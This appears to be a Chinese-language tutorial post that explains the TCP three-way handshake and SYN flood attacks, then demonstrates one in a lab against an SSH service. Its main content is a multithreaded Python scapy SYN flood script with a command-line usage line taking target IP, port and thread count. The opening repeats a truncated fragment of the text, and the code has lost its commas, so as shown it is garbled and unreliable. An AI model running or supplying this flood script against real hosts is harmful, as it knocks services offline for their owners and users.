错误代码0x20(0X02拒绝服务SYN)
错误代码0x20(0X02拒绝服务SYN)看起来,已经成功了吗?很明显不是,单个的包占用并不能造成影响。那我们该怎么办呢?对,通过代码来循环操作就可以了。下面是通过python3编写的代码:# -*- coding: utf-8 -*- from scapy.all import * from scapy.layers.inet import IP TCP from time import sleep import threading import random import logging def synflood(target port): while True: x = random.randint(0 65535) send(IP(dst=target)/TCP(dport=port sport=x) verbose=0) logging.getLogger("scapy.runtime").s
- 什么是tcp 三次握手?
了解SYN Flood攻击,我们先了解一下TCP三次握手。我们需要计算机之间相互传输的信息之前,首先要确定相互之间网络中的位置,以及确定是否能够链接。我们需要先进行三次握手。三次握手成功之后就表示可以正常相互链接。那么接下来我们来看看这三次握手。建立三次握手流程:客户端首先发送SYN 信息,表示请求链接。服务器收到SYN信息之后,返回SYN ACK 包,表示请求已经收到,并且请求链接。客户端接收到SYN ACK 包之后,返回ACK包给服务器之后,三次握手建立成功。
(注意:在三次握手之间,服务器发送SYN ACK之后,服务器会保留一段时间的资源来等待客户端的ACK包反馈)
- 什么是SYN Flood 攻击?
上面我们已经了解了TCP三次握手,那么,接下来,我们来看看什么是SYN Flood 攻击。它也是一种拒绝服务攻击。核心点就是攻击者给服务器发送SYN包,并且不去应答服务器的返回包(SYN ACK)。这样在一定时间内服务器的资源会被消耗。当然,在长时间的超时,服务器会释放资源。这个时候攻击者会不停的发送SYN包。让服务器的资源始终被占用着。这样,对于一些正常的请求。服务器由于没有对应的资源响应。而达到无法提供服务的目的。
注释:对于不了解拒绝服务攻击的朋友可以查看如下链接:https://bbs.zkaq.cn/t/4537.html - 演示SYS Flood 攻击
上面已经说了该攻击的原理,接下来,我们就演示一下。下面是我演示需要的环境。 - 攻击端(Python3)地址:192.168.1.83
- 被攻击服务器 (Redhat7)地址:192.168.1.42
- 攻击的服务为SSH
- 首先,刚刚我们已经说过了。攻击需要发送一个SYN包。下面,我使用scapy来编辑发送一个SYN包。
我们在环境当中运行scapy
我们通过对象ip() TCP()来分别新建一个ip请求头,tcp请求头。
发送包:
通过抓包,我们来查看我们发送的包:
看起来,已经成功了吗?很明显不是,单个的包占用并不能造成影响。那我们该怎么办呢?对,通过代码来循环操作就可以了。下面是通过python3编写的代码:
# -*- coding: utf-8 -*-
from scapy.all import *
from scapy.layers.inet import IP TCP
from time import sleep
import threading
import random
import logging
def synflood(target port):
while True:
x = random.randint(0 65535)
send(IP(dst=target)/TCP(dport=port sport=x) verbose=0)
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print("用法: ./Dos_test.py [IP地址] [端口] [线程数]")
print("举例:./Dos_test.py 192.168.1.42 80 20")
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])
print("正在执行SYN Flood 攻击,按Ctrl C 停止攻击")
for x in range(0 threads):
t = threading.Thread(target=synflood args=(target port))
t.start()
while True:
sleep(1)
下面我们来运行该程序:
抓包查看,这个时候我们发现,大量的SYN包在进行发送。